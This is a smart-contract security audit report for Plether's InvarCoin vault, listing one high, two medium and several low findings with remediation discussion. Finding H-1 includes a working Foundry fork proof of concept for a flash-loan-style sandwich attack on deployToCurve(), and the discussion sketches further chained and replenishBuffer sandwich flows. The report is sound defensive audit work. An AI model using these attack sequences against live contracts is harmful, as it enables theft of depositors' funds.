SHERLOCK

Security Review For Plether

Collaborative Audit Prepared For: **Plether**
Lead Security Expert(s): **blockace**
eeyore
Date Audited: **March 19 - March 24, 2026**

Introduction

Plether is building an onchain prime brokerage stack for macro risk – spot, leverage, options, and yield separation under bounded liability.

Scope

Repository: Plether-Fi/plether-core

Audited Commit: e54cabc3b21c7598132a0cda171bcc0776648db6

Final Commit: c61b5f18f49f52caf3f192a845fa767abaf55593

Files:

- src/InvarCoin.sol
- src/libraries/OracleLib.sol
- src/StakedToken.sol

Final Commit Hash

c61b5f18f49f52caf3f192a845fa767abaf55593

Findings

Each issue has an assigned severity:

- High issues are directly exploitable security vulnerabilities that need to be fixed.
- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- Low/Info issues are non-exploitable, informational findings that do not pose a security risk or impact the system's integrity. These issues are typically cosmetic or related to compliance requirements, and are not considered a priority for remediation.

Issues Found

High	Medium	Low/Info
1	2	6

Issues Not Fixed and Not Acknowledged

High	Medium	Low/Info
0	0	0

Issue H-1: Slippage protection anchored to stale EMA allows sandwich extraction up to the full spot-vs-EMA deviation window [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/issues/17

Summary

`deployToCurve()` validates spot-vs-EMA deviation (0.5% one-sided cap). When Curve spot diverges from EMA - from FX updates or organic trading - an attacker can atomically push spot back toward the stale EMA, call `deployToCurve()`, and revert the manipulation. The vault receives fewer LP tokens (lost rebalancing bonus), and the attacker captures the vault's price impact. The effective sandwich window is the full spot-to-EMA gap plus 0.5% tolerance.

Additionally, `deployToCurve` and `replenishBuffer` use a one-sided deviation check (downside only), while `lpDeposit` correctly uses a two-sided check. This inconsistency allows deployment when spot is significantly above EMA - the exact state an attacker creates.

Vulnerability Detail

```
function deployToCurve(uint256 maxUsdc) external nonReentrant whenNotPaused returns
↪  (uint256 lpMinted) {
    uint256 oraclePrice = _validatedOraclePrice();  // Chainlink price available
    ↪  but unused for check
    // ...
    uint256 calcLp = CURVE_POOL.calc_token_amount(amounts, true);         //
    ↪  spot-based
    uint256 emaExpectedLp = (usdcToDeploy * 1e30) / CURVE_POOL.lp_price(); //
    ↪  EMA-based
    if (calcLp * BPS < emaExpectedLp * (BPS - MAX_SPOT_DEVIATION_BPS)) {  //
    ↪  one-sided, 0.5%
        revert InvarCoin__SpotDeviationTooHigh();
    }
    lpMinted = CURVE_POOL.add_liquidity(amounts, calcLp > 0 ? calcLp - 1 : 0);
    //                                           ^^^^^^^^^^ min based on
    ↪  manipulated spot
}
```

Three problems:

1. Check compares spot against **EMA**, not against **Chainlink fair value** - even though `oraclePrice` is already fetched

2. Check is **one-sided** (only downside), while `lpDeposit` correctly checks both sides
3. The `minLp` parameter is computed from the already-manipulated spot

Attack flow (single atomic transaction):

```
State: Organic trading created EMA lag (EMA = 1.08 USD, spot = 1.06 USD, spread =
↪  217 bps)
       InvarCoin has ~50K USDC buffer ready to deploy.

1. Flash loan 58K USDC (or flash mint BEAR and sell)
2. BUY BEAR on Curve with 58K USDC → pool shifts from BEAR-heavy to USDC-heavy
   Spot rises from 1.06 USD toward 1.08 USD (EMA)
3. Call deployToCurve()
   calcLp   emaExpectedLp → one-sided check passes (spot near EMA)
   Vault adds ~50K USDC into USDC-heavy pool → fewer LP (lost rebalancing bonus)
4. SELL BEAR back on Curve → capture vault's price impact
5. Repay flash loan, keep 274 USD profit
```

The vault received 23,436 LP instead of 23,644 LP (88 bps fewer). The 431 USD NAV loss is split between attacker profit (274 USD) and Curve swap fees (157 USD) on the attacker's round-trip.

EMA lag sources:

- **FX-driven**: Chainlink updates, Curve EMA lags. Capped at ~2% by BasketOracle deviation threshold.
- **Organic Curve trading**: Large trades move spot within a block. Not bounded by BasketOracle - Chainlink and EMA can agree while spot has moved away.

The vault loses more than the attacker gains - the gap is Curve swap fees on the attacker's buy+sell round-trip. `replenishBuffer` has the same check pattern but smaller impact (limited burn amount, small buffer deficit).

Impact

Every `deployToCurve()` call during spot-vs-EMA divergence can be sandwiched. The vault receives fewer LP tokens, directly diluting INVAR holders' LP backing. The attack is repeatable, requires no capital (flash loan funded), and is atomic. Divergence windows occur regularly from both FX moves and organic Curve activity. Extraction scales with deployment size and EMA lag - on larger deployments or wider spreads, the loss is proportionally greater.

Code Snippet

https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/blob/main/plether-core/src/InvarCoin.sol#L918-L946

PoC

Add mainnet fork PoC (`test/fork/DeployToCurveSandwich.t.sol`) to demonstrate the attack on a ~1M Curve pool with 50K vault deployment and ~2.17% EMA-spot spread created by organic trading. The attacker binary-searches the maximum pump amount that passes the deviation check, front-runs with a USDC->BEAR swap, calls `deployToCurve()`, and back-runs by selling BEAR. The vault receives 88 bps fewer LP tokens, losing 431 USD in NAV while the attacker nets 274 USD after Curve fees.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.33;

import {ICurveTwocrypto, InvarCoin} from "../../src/InvarCoin.sol";
import {StakedToken} from "../../src/StakedToken.sol";
import {AggregatorV3Interface} from
↪  "../../src/interfaces/AggregatorV3Interface.sol";
import {BaseForkTest, ICurvePoolExtended} from "./BaseForkTest.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract DeployToCurveSandwich is BaseForkTest {

    InvarCoin ic;
    StakedToken sInvar;

    address treasury;
    address alice;
    address attacker;

    function setUp() public {
        _setupFork();

        treasury = makeAddr("treasury");
        alice = makeAddr("alice");
        attacker = makeAddr("attacker");

        // Deploy protocol with ~$1M Curve pool
        deal(USDC, address(this), 10_000_000e6);
        _fetchPriceAndWarp();
        _deployProtocol(treasury);
        _mintInitialTokens(1_000_000e18);
        _deployCurvePool(1_000_000e18);

        // Deploy InvarCoin + sINVAR
        ic = new InvarCoin(USDC, bearToken, curvePool, curvePool,
        ↪  address(basketOracle), address(0), address(0));
        sInvar = new StakedToken(IERC20(address(ic)), "Staked InvarCoin", "sINVAR");
        ic.proposeStakedInvarCoin(address(sInvar));
        _warpAndRefreshOracle(ic.STAKED_INVAR_TIMELOCK());
        ic.finalizeStakedInvarCoin();
```

```
        // Alice deposits 50K USDC -- creates deployable buffer
        deal(USDC, alice, 50_000e6);
        vm.startPrank(alice);
        IERC20(USDC).approve(address(ic), type(uint256).max);
        ic.deposit(50_000e6, alice, 0);
        vm.stopPrank();

        // Fund attacker (flash loan simulation)
        deal(USDC, attacker, 5_000_000e6);
        vm.prank(attacker);
        IERC20(USDC).approve(curvePool, type(uint256).max);
    }

    function _warpAndRefreshOracle(uint256 duration) internal {
        vm.warp(block.timestamp + duration);
        (, int256 clPrice,,,) = AggregatorV3Interface(CL_EUR).latestRoundData();
        vm.mockCall(
            CL_EUR,
            abi.encodeWithSelector(AggregatorV3Interface.latestRoundData.selector),
            abi.encode(uint80(1), clPrice, uint256(0), block.timestamp, uint80(1))
        );
    }

    /// @dev Simulates organic trading that creates ~2-3% spot < EMA divergence
    function _createEmaLag() internal {
        for (uint256 i = 0; i < 3; i++) {
            // Sell BEAR on Curve -- spot drops, EMA barely moves
            uint256 dumpSize = 15_000e18;
            deal(bearToken, attacker, IERC20(bearToken).balanceOf(attacker) +
            ↪  dumpSize);
            vm.startPrank(attacker);
            IERC20(bearToken).approve(curvePool, dumpSize);
            curvePool.call(abi.encodeWithSignature("exchange(uint256,uint256,uint25
            ↪  6,uint256)", 1, 0, dumpSize, 0));
            vm.stopPrank();

            // Time passes -- EMA partially converges but still lags
            _warpAndRefreshOracle(3 minutes);
        }
        _warpAndRefreshOracle(2 minutes);
    }

    /// @dev Binary search: find max pump that passes the 0.5% deviation check
    function _findMaxPump() internal returns (uint256) {
        uint256 lo = 0;
        uint256 hi = 2_000_000e6;
        uint256 best = 0;

        for (uint256 i = 0; i < 30; i++) {
            uint256 mid = (lo + hi) / 2;
```

```
            if (mid == 0) break;

            uint256 snap = vm.snapshotState();
            deal(USDC, address(this), mid);
            IERC20(USDC).approve(curvePool, mid);
            (bool swapOk,) = curvePool.call(
                abi.encodeWithSignature("exchange(uint256,uint256,uint256,uint256)"
                ↪  , 0, 1, mid, 0)
            );
            bool deployOk = false;
            if (swapOk) { try ic.deployToCurve(0) { deployOk = true; } catch {} }
            vm.revertToState(snap);

            if (deployOk) { best = mid; lo = mid + 1; }
            else { hi = mid - 1; }
        }
        return best;
    }

    function test_PoC_sandwich_deployToCurve() public {
        // 1. Create EMA lag (organic trading moved spot below EMA)
        _createEmaLag();

        uint256 emaPrice = ICurvePoolExtended(curvePool).price_oracle();
        // get_dy for 1 BEAR → USDC as spot proxy (normalized to 18 dec)
        (,bytes memory dyRet) = curvePool.staticcall(
            abi.encodeWithSignature("get_dy(uint256,uint256,uint256)", 1, 0, 1e18)
        );
        uint256 spotUsdc = abi.decode(dyRet, (uint256));
        uint256 spotPrice18 = spotUsdc * 1e12; // 6 dec → 18 dec

        uint256 spreadBps = emaPrice > spotPrice18
            ? (emaPrice - spotPrice18) * 10_000 / emaPrice
            : (spotPrice18 - emaPrice) * 10_000 / emaPrice;

        emit log_named_uint("EMA price (18 dec)", emaPrice);
        emit log_named_uint("Spot price (18 dec)", spotPrice18);
        emit log_named_uint("EMA-spot spread (bps)", spreadBps);
        emit log_named_uint("EMA lp_price", ICurveTwocrypto(curvePool).lp_price());

        // 2. Baseline: deploy without sandwich
        uint256 snap = vm.snapshotState();
        uint256 lpClean = ic.deployToCurve(0);
        uint256 navClean = ic.totalAssets();
        vm.revertToState(snap);

        // 3. Find max pump that passes deviation check
        uint256 pumpAmount = _findMaxPump();
        emit log_named_uint("Max pump (USDC)", pumpAmount);
        if (pumpAmount == 0) { emit log_string("EMA lag too small"); return; }
```

```
        uint256 attackerUsdcBefore = IERC20(USDC).balanceOf(attacker);

        // 4. FRONT-RUN: buy BEAR -- pool becomes USDC-heavy
        vm.startPrank(attacker);
        curvePool.call(abi.encodeWithSignature("exchange(uint256,uint256,uint256,ui
        ↪  nt256)", 0, 1, pumpAmount, 0));
        vm.stopPrank();

        // 5. VICTIM: vault deploys into USDC-heavy pool -- gets fewer LP
        uint256 lpSandwiched = ic.deployToCurve(0);

        // 6. BACK-RUN: sell BEAR back -- capture vault's price impact
        uint256 attackerBear = IERC20(bearToken).balanceOf(attacker);
        vm.startPrank(attacker);
        IERC20(bearToken).approve(curvePool, attackerBear);
        curvePool.call(abi.encodeWithSignature("exchange(uint256,uint256,uint256,ui
        ↪  nt256)", 1, 0, attackerBear, 0));
        vm.stopPrank();

        uint256 attackerUsdcAfter = IERC20(USDC).balanceOf(attacker);
        uint256 navSandwiched = ic.totalAssets();

        // 7. Results
        emit log_string("--- RESULTS ---");
        emit log_named_uint("LP clean", lpClean);
        emit log_named_uint("LP sandwiched", lpSandwiched);

        uint256 lpLostBps = lpClean > lpSandwiched ? (lpClean - lpSandwiched) *
        ↪  10_000 / lpClean : 0;
        emit log_named_uint("LP loss (bps)", lpLostBps);

        uint256 navLoss = navClean > navSandwiched ? navClean - navSandwiched : 0;
        emit log_named_uint("Vault NAV loss (USDC)", navLoss);

        if (attackerUsdcAfter > attackerUsdcBefore)
            emit log_named_uint("Attacker profit (USDC)", attackerUsdcAfter -
            ↪  attackerUsdcBefore);
        else
            emit log_named_uint("Attacker loss (USDC)", attackerUsdcBefore -
            ↪  attackerUsdcAfter);

        // Vault got fewer LP when sandwiched
        assertLt(lpSandwiched, lpClean, "Sandwich extracted LP value from vault");
    }

}
```

```
[PASS] test_PoC_sandwich_deployToCurve() (gas: 10175532)
```

```
Logs:
  EMA price (18 dec): 1081842877498640446
  Spot price (18 dec): 1058276000000000000
  EMA-spot spread (bps): 217
  EMA lp_price: 2080276511503281759
  Max pump (USDC): 58440292250
  --- RESULTS ---
  LP clean: 23644957552707729777433
  LP sandwiched: 23436354218359975707953
  LP loss (bps): 88
  Vault NAV loss (USDC): 431090559
  Attacker profit (USDC): 274769815
```

Tool Used

Manual Review

Recommendation

Consider restricting `deployToCurve()` and `replenishBuffer()` to a trusted keeper role and adding a keeper-provided `minLpOut` slippage parameter:

```
function deployToCurve(
    uint256 maxUsdc,
    uint256 minLpOut
) external onlyKeeper nonReentrant whenNotPaused returns (uint256 lpMinted) {
    // ...
    lpMinted = CURVE_POOL.add_liquidity(amounts, minLpOut);
}
```

Apply the same pattern to `replenishBuffer()`.

Discussion

Stanley

This is a concrete, permissionless MEV extraction bug with proven profit, but its impact is bounded to maintenance-trade slippage rather than enabling catastrophic fund loss, so medium not high is imho the fairest rating.

0xklapouchy

The fix is insufficient:

1. Attacker still extracts value. The PoC runs identically on the fixed branch (88 bps LP loss, $431 NAV loss, $274 attacker profit at 217 bps EMA lag). The two-sided check and EMA-anchored minLp do not prevent the sandwich.

2. Upside check hurts legitimate operations. It blocks deploys whenever the pool is naturally BEAR-heavy (spot < EMA by more than 0.5%). The vault loses access to the rebalancing bonus during normal FX volatility, forcing the USDC buffer to sit idle until EMA converges.
3. Extraction scales with EMA lag. At 5% EMA lag, the attacker can extract ~3% by pushing spot from fair (~1.025 × emaExpectedLp) down to the downside boundary (0.995 × emaExpectedLp). The fix only caps overshoot (pushing past EMA), which was never the profitable direction.
4. The root cause is unaddressed. The attacker controls spot within the tx and can push it to match any on-chain anchor. No on-chain check comparing spot to a reference price can prevent this. Only off-chain mitigations work: trusted keeper + caller-supplied `minLpOut` + MEV-protected submission.

Stanley

Agreed, the root cause as written was unaddressed. Let me, however point out how crazy the assumption was in the PoC:

- A 50K USDC Invar deposit is around 5% of the total pool scale - this will always have a big impact on the price, therefore it is not a reasonable or rational thing to do.
- Invar normally targets a 2% USDC buffer. A fresh 50K USDC deposit into a roughly 1M USDC pool creates a very large excess buffer (250% increase). This is assuming that all the pool liquidity belongs to invarcoin; if not, the percentage increase would be even higher. This is not a routine small rebalance - this is likely a user error and something the frontend should never allow.
- A reasonable depositor would swap 25K USDC into a bear coin and use `lpDeposit(usdcAmount, bearAmount, receiver, minSharesOut)` instead.
- `_createEmaLag()` uses: `deal(bearToken, attacker, IERC20(bearToken).balanceOf(attacker) + dumpSize);` This simulates "organic trading," but it gives the attacker free BEAR and does not account for how that BEAR was acquired or the cost/risk of creating the lag. If the lag is truly organic, fine, but then it should not be counted as attacker-created at zero cost. Buying BEAR on the market costs fees and would eat up some of the profits from this attack.
- In production, if the attacker wanted to obtain BEAR through SyntheticSplitter.mint(), the BasketOracle deviation check should block minting when Chainlink vs Curve EMA divergence exceeds the configured 2% threshold. So at a 217 bps divergence:
  - protocol minting should be blocked,
  - but the PoC sidesteps that by directly assigning BEAR in the test.
- The attack assumes that at this high divergence, there is no one doing arbitrage, while the protocol heavily incentivizes this by giving 100% of the protocol yield to the underpriced side, with staking (which is up to double the market rate).

Anyway, I still wanted to fix this so I introduced two changes to the code:

- Limit InvarCoin Curve deployment size to 1% of the curve pool (a sanity check)
- Require fair InvarCurve deployments: `calcLp < emaExpectedLp` check.

This is implemented in
https://github.com/Plether-Fi/plether-core/compare/master...invar_slippage

0xklapouchy

- 50K is illustrative. The attack works at any deposit/buffer size. Extraction scales linearly with deploy chunk and EMA-spot lag. It can only be less profitable.
- Deposit is a standard user action. `deposit()` and `lpDeposit()` mint shares on the same basis, so users have no incentive to take the more complex path. The vulnerability is not in `deposit()` but in how the buffer is deployed afterward. `deposit()` is permissionless; "frontend should block" is not a security control.
- Both `deposit()` and `lpDeposit()` satisfy `minSharesOut` from the user's perspective. The user did everything right; the protocol fails them at Curve deploy time.
- EMA lag (via simulation via _createEmaLag()) is the default state during any sustained directional flow on Curve (e.g., a holder unwinding a BEAR position over a few minutes via simply sell). The PoC's `deal()` is a shortcut that reproduces this naturally occurring market state.
- Attacker doesn't need `SyntheticSplitter.mint()`. BEAR's `ERC20FlashMint` provides unlimited BEAR for free in a single tx with no oracle check. The BasketOracle guard on the Splitter is irrelevant to this attack path.
- RewardDistributor is a soft-peg on hours-to-days timescale; it cannot react to an atomic sandwich in a single tx.

As for the new fix, the `MAX_DEPLOY_POOL_BPS = 1\%` cap limits the size of a SINGLE `deployToCurve` call but does not limit the number of calls per transaction. The attacker simply chains 2-3 atomic `deployToCurve` calls back-to-back inside the same sandwich:

```
1. Front-run pump (one swap)
2. deployToCurve(0)  → deploys 1\% of pool USDC
3. deployToCurve(0)  → deploys another ~1\%
4. deployToCurve(0)  → deploys another ~1\%
5. Back-run unwind (one swap)
```

The pump amount is calibrated so that all chained deploys still pass `calcLp >= emaExpectedLp`. No intermediate trades or rebalancing needed.

I also noticed we have additional problem as same root cause also affects `replenishBuffer()`.

The same EMA-anchor sandwich applies to `replenishBuffer()`.

Attack via `lpDeposit` + `replenishBuffer` (single atomic tx):

1. Flash mint BEAR (zero-fee, built into BEAR token) and/or flash loan USDC
2. Call `lpDeposit(0, BEAR_amount, attacker, 0)`. This inflates vault TVL, raising the buffer target by 2% of deposit value, creating an attacker-controlled buffer deficit on demand
3. Front-run: sell BEAR on Curve to push spot below EMA (pool BEAR-heavy)
4. Call `replenishBuffer(0)`. Vault burns LP for USDC at the manipulated state, gets ~2% less USDC than fair
5. Back-run: buy BEAR back to capture the price round-trip
6. Call `lpWithdraw` to unwind the lpDeposit, repay flash loans

Key takeaways:

- **Attacker-controlled trigger**: doesn't need a natural buffer deficit, creates one via `lpDeposit`
- **No per-call cap on** `replenishBuffer`: one call drains the full artificial deficit at the manipulated rate
- **Free capital**: BEAR flash mint + USDC flash loan = $0 cost of funds

Same recommendation: trusted keeper + caller-supplied `minUsdcOut` + MEV-protected submission.

Stanley

As you know I hate the idea of having a trusted keeper because to me it's just a way to delegate security offchain. This by itself is not bad, similar to having frontend guardrails I would say, but the worst part is that it kills walkaway test / permissionless character of the protocol.

So I was determined to solve your concern in the smart contract.. and came up with idea of removing curve interaction while still achieving the same goal - swaping usdc for lp tokens and lp tokens for usdc by doing buffer balancing through permissionless solver fills. Buffer balancing is done by letting anyone trade directly with the vault at conservative reserve prices: solvers can sell Curve LP to the vault for excess USDC, or buy Curve LP from the vault to refill the USDC buffer.

The vault never executes the Curve add/remove leg itself, so solvers own the external execution risk while the vault only accepts fills priced in its favor. I think this is a simple solution that does not increase size of the contract (on the edge of eip-170 limit) while at the same time removes the attack surface (however small) that you described.

https://github.com/Plether-Fi/plether-core/compare/codex/review-finding-17allowbreak#diff-0fb029b68a9e86fd3b309dd739f6aa4e01aa57363d63371f4b42371943aeb06c

0xklapouchy

Fix confirmed in PR#37.

The new solver-fill design is a **reasonable** fix for this issue.

Worth noting side effects:

- MEV up to ~0.05–0.08% per fill when Chainlink hits its max deviation threshold. This is the margin that solvers earn for filling the trade.
- Buffer rebalancing now depends on solver activity. In quiet markets or small drifts (EMA vs Oracle), solvers may not fill if gas exceeds margin. The solver functions are permissionless, so the team can self-rebalance via `sellLpToVault` / `buyLpFromVault`, accepting ~0.1–0.2% per fill when MEV doesn't show up.

Issue M-1: Missing `receiver` parameter in `lpWithdraw()` [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/issues/6

Summary

In `InvarCoin`, `withdraw()` accepts a `receiver` address and transfers USDC to it. `lpWithdraw()` hardcodes `msg.sender` as the recipient for both USDC and BEAR. If `msg.sender` is USDC-blacklisted, the entire transaction reverts and the user has no escape route.

Impact

Blacklisted users can't withdraw their USDC tokens.

Code Snippet

https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/blob/5822d391bad06b3c4619262807a8be9dd555170f/plether-core/src/InvarCoin.sol#L669-L673

Tool Used

Manual Review

Recommendation

Add `receiver` parameter same as `withdraw()`.

Discussion

0xklapouchy

Core functionality is fixed, but the `LpWithdrawn` event was not updated to reflect the new `receiver` functionality.

Stanley

Fixed in https://github.com/Plether-Fi/plether-core/compare/master...invar_lpwithdrawn

0xklapouchy

Fix confirmed in 2f6ac70.

Issue M-2: BasketOracle deviation check combined with no secondary market for BEAR/BULL arbitrage freezes all InvarCoin operations when FX rates move [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/issues/7

Summary

The BasketOracle embeds a deviation check inside `latestRoundData()` that hard-reverts when the Chainlink-derived basket price diverges from the Curve EMA beyond `MAX_DEVIATION_BPS`. Since every InvarCoin function reads `BASKET_ORACLE.latestRoundData()`, this revert freezes the entire protocol - deposits, withdrawals, harvests, deployments, and emergency exits.

The deviation check assumes Curve's EMA tracks Chainlink closely. However, currently there is no secondary market for BEAR or BULL. The only convergence mechanism is the RewardDistributor, which tilts yield emissions toward the underpriced side - a soft-peg incentive that requires participants to commit capital, stake the underpriced token, and wait for the market to return to oracle price. This is not instant arbitrage; it is a slow, incentive-driven rebalancing that can take hours or days. The protocol team has confirmed that perps and other secondary markets are planned but do not yet exist.

This means any FX move that updates Chainlink but doesn't trigger sufficient Curve trading can freeze the protocol. The freeze is not limited to emergency scenarios - it blocks normal day-to-day operations (deposits, harvests, buffer management) whenever the oracle and Curve EMA drift apart.

Additionally, `OracleLib.tryGetValidatedPrice()` - designed as a non-reverting oracle read for withdrawal paths - calls `oracle.latestRoundData()` without try/catch, meaning the BasketOracle's hard revert propagates through `_harvestSafe()` and blocks even `lpWithdraw()`, the emergency exit that intentionally lacks `whenNotPaused`.

Vulnerability Detail

The deviation check runs on every `BASKET_ORACLE.latestRoundData()` call:

```
function _checkDeviation(uint256 theoreticalDxy8Dec) internal view {
    // ...
    uint256 theoreticalBear18 = clamped * DecimalConstants.CHAINLINK_TO_TOKEN_SCALE;
    uint256 spotBear18 = pool.price_oracle();  // Curve EMA

    uint256 diff = theoreticalBear18 > spotBear18
        ? theoreticalBear18 - spotBear18 : spotBear18 - theoreticalBear18;
    uint256 threshold = (basePrice * MAX_DEVIATION_BPS) / 10_000;
```

```
    if (diff > threshold) {
        revert BasketOracle__PriceDeviation(theoreticalBear18, spotBear18);
    }
}
```

Two independent systems are assumed to track each other:

```
Chainlink:  updates instantly when FX moves (off-chain node operators)
Curve EMA:  updates only when someone TRADES on the pool (on-chain activity
↪  required)
```

The convergence gap:

There is no direct risk-free arbitrage forcing Curve to match the oracle - BEAR and BULL only trade on or through the same Curve pool, so selling one side and closing via ZapRouter largely cancels the price correction. The actual convergence mechanism is the RewardDistributor, which tilts yield emissions toward the underpriced side. However, this requires committing capital, staking, and waiting for the market to revert (hours to days).

Trigger scenarios:

1. Chainlink updates instantly but Curve EMA is frozen (no trades) or lags naturally. Deviation grows until the threshold is exceeded.
2. `deposit()`, `harvest()`, `deployToCurve()`, `replenishBuffer()`, `donateUsdc()`, `totalAssets()` - all call `_validatedOraclePrice()` which reads `BASKET_ORACLE.latestRoundData()` and reverts.
3. The revert propagates through `OracleLib.tryGetValidatedPrice()` (no try/catch on `oracle.latestRoundData()`) → `_harvestSafe()` → blocks `lpWithdraw()`. This triggers whenever `trackedLpBalance > 0` and fees have accumulated - always true in a mature vault.

Impact

All InvarCoin operations freeze whenever Chainlink and Curve EMA diverge beyond the deviation threshold. The only convergence mechanism operates on a timescale of hours to days. During that window users cannot deposit, withdraw, or use the emergency exit. The freeze persists until Curve trading activity brings the EMA back within range - a process with no guaranteed timeline.

Code Snippet

https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/blob/main/plether-core/src/libraries/OracleLib.sol#L190 https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/blob/main/plether-core/src/InvarCoin.sol#L822-L826

Tool Used

Manual Review

Recommendation

1. Refactor `tryGetValidatedPrice` to use low-level `staticcall` so oracle reverts never propagate to `lpWithdraw()`.
2. Widen the deviation threshold to match the slow convergence speed of the RewardDistributor soft-peg until secondary markets (perps) are deployed.

Discussion

0xklapouchy

Fix confirmed in PR#6

`OracleLib.tryGetValidatedPrice()` now wraps oracle calls in try/catch, so the BasketOracle deviation revert no longer blocks the emergency exit `lpWithdraw()` or `withdraw()`.

However, the deviation threshold was not widened, so normal operations (`deposit`, `harvest`, `deployToCurve`, `replenishBuffer`, etc.) still revert whenever Chainlink and Curve EMA diverge beyond 2%.

Issue L-1: `ORACLE_TIMEOUT` set to exactly 24 hours can cause periodic reverts blocking deposits, harvests, and deployments [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/issues/4

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

`ORACLE_TIMEOUT` is set to 24 hours (86,400 seconds), which exactly matches the Chainlink heartbeat for standard FX feeds. Since a heartbeat is a guarantee that an update will arrive *within* the period - not *at* exactly that mark - any minor network delay causes `OracleLib.checkStaleness()` to revert. The oracle aggregating multiple feeds uses a weakest-link approach (oldest `updatedAt`), so a single feed being slightly late is sufficient to trigger a stale revert across all InvarCoin operations that require a validated oracle price.

Vulnerability Detail

Standard Chainlink FX feeds (EUR/USD, JPY/USD, GBP/USD, CAD/USD, SEK/USD, CHF/USD) on Ethereum mainnet share a 24-hour heartbeat and 0.15% deviation threshold. InvarCoin sets its staleness timeout to exactly match this heartbeat:

```
uint256 public constant ORACLE_TIMEOUT = 24 hours;
```

The staleness check in `OracleLib`:

```
function checkStaleness(uint256 updatedAt, uint256 timeout) internal view {
    if (updatedAt < block.timestamp - timeout) {
        revert OracleLib__StalePrice();
    }
}
```

A heartbeat of 24h means Chainlink node operators commit to submitting a new round within 24 hours if the deviation threshold has not been crossed. The on-chain update can land at any point up to and slightly past the 24h mark due to:

- Ethereum block time variance
- Gas price spikes delaying transaction inclusion
- Chainlink node submission timing (nodes submit sequentially, aggregation takes multiple txs)

When the oracle aggregates six independent feeds and returns the oldest `updatedAt`, the probability that at least one feed is slightly late on any given day is non-trivial. Weekend

periods are particularly risky - FX markets close Friday evening and reopen Sunday evening, so feeds only update via heartbeat (not deviation) for ~48 hours, relying entirely on the heartbeat timer.

Impact

Spurious stale reverts block all validated oracle paths in InvarCoin: `deposit()`, `lpDeposit()`, `harvest()`, `deployToCurve()`, `replenishBuffer()`, `donateUsdc()`, and `redeployToCurve()`. The protocol becomes periodically non-functional each time any of the underlying feeds is momentarily late on its heartbeat.

Code Snippet

https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/blob/main/plether-core/src/InvarCoin.sol#L69

Tool Used

Manual Review

Recommendation

Add a buffer on top of the heartbeat to account for network delays:

```
uint256 public constant ORACLE_TIMEOUT = 25 hours; // 24h heartbeat + 1h buffer
```

This gives oracle a full hour of grace after the heartbeat deadline before the protocol considers the feed stale, eliminating false positives from minor submission delays while still detecting genuinely broken feeds.

Discussion

0xklapouchy

Acknowledged.

Issue L-2: Potential permanent virtual share yield dilution via `donateYield` to StakedToken with zero stakers [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/issues/9

Summary

`StakedToken.donateYield()` has no check for `totalSupply() > 0`. When called with zero stakers, donated tokens vest with no shareholders to claim them, permanently inflating the exchange rate. This amplifies the 1000 virtual shares' proportional weight from negligible to ~1%, causing a persistent yield leak on all future donations. The same issue occurs organically through `_mintAndDonate()`, which donates on every harvest without checking whether sINVAR has stakers.

Vulnerability Detail

`donateYield` has no access control and no staker check:

```
function donateYield(uint256 amount) external {
    IERC20(asset()).safeTransferFrom(msg.sender, address(this), amount);
    _trackedBalance += amount;
    // ... stream vests over 1 hour, no one to receive it
}
```

InvarCoin's harvest path also lacks a guard:

```
function _mintAndDonate(uint256 amount) private {
    _mint(address(this), amount);
    // ... donates even with 0 stakers
    stakedInvarCoin.donateYield(amount);
}
```

After vesting with `totalSupply == 0`, the first depositor gets far fewer shares due to the inflated exchange rate:

```
Normal empty vault - Alice deposits 1000e18:
  shares = 1000e18 × 1000 / (0 + 1) = 1e21
  Virtual dilution = 1000 / (1e21 + 1000)   0%

After 10e18 donated with 0 stakers - Alice deposits 1000e18:
  shares = 1000e18 × 1000 / (10e18 + 1) = 100,000
  Virtual dilution = 1000 / (100,000 + 1000)   1%
```

Same deposit, 10000000x fewer shares. The 1000 virtual shares now permanently capture ~1% of all future yield. Increasing `_decimalsOffset` does not help - the dilution formula `D / (A + D)` cancels out the virtual share count (depends only on donation `D` relative to deposit `A`).

Impact

A 10 USDC griefing donation permanently shifts virtual share dilution from negligible to ~1%, leaking yield on all future `donateYield` calls. Also occurs organically if keepers run `harvest()` before anyone stakes in sINVAR.

Code Snippet

https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/blob/main/plether-core/src/StakedToken.sol#L55-L78 https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/blob/main/plether-core/src/InvarCoin.sol#L849-L855

Tool Used

Manual Review

Recommendation

At deployment deposit a small amount (1e18 INVAR) into sINVAR and burn the shares. This anchors the exchange rate with 1e21 permanent shares backed by real assets, making exchange rate inflation 1e18x more expensive.

Discussion

0xklapouchy

Not fully fixed. `InvarCoin._mintAndDonate()` now reverts when sINVAR has no stakers instead of gracefully skipping. This revert propagates to:

- `_harvestSafe()`, re-introducing the emergency-exit blocking issue that was specifically fixed via try/catch in `tryGetValidatedPrice`.
- All normal operations (`deposit`, `harvest`, `donateUsdc`) are blocked whenever there is pending yield to harvest and sINVAR has no stakers (`totalSupply == 0`).

Stanley

Fixed in: https://github.com/Plether-Fi/plether-core/compare/master...invar_no-staker

0xklapouchy

Moving `curveLpCostVp = currentVpValue` to after the `_mintAndDonate` check breaks accounting when there are no sINVAR stakers.

With no stakers, there should be no accumulation of fees for sINVAR; the LP fees should accrue to INVAR holders via natural NAV growth. However, with the new ordering, `_harvest` and `_harvestSafe` exit early without advancing `curveLpCostVp`, so `vpGrowth` accumulates unbounded across the entire no-stakers period.

When the first staker eventually arrives, the next harvest mints all retroactive yield (from vault deployment to that moment) as INVAR donated to sINVAR, retroactively transferring fees away from INVAR holders even though no sINVAR stakers existed when those fees were earned.

Fix: update `curveLpCostVp = currentVpValue` regardless of whether `_mintAndDonate` succeeds.

Stanley

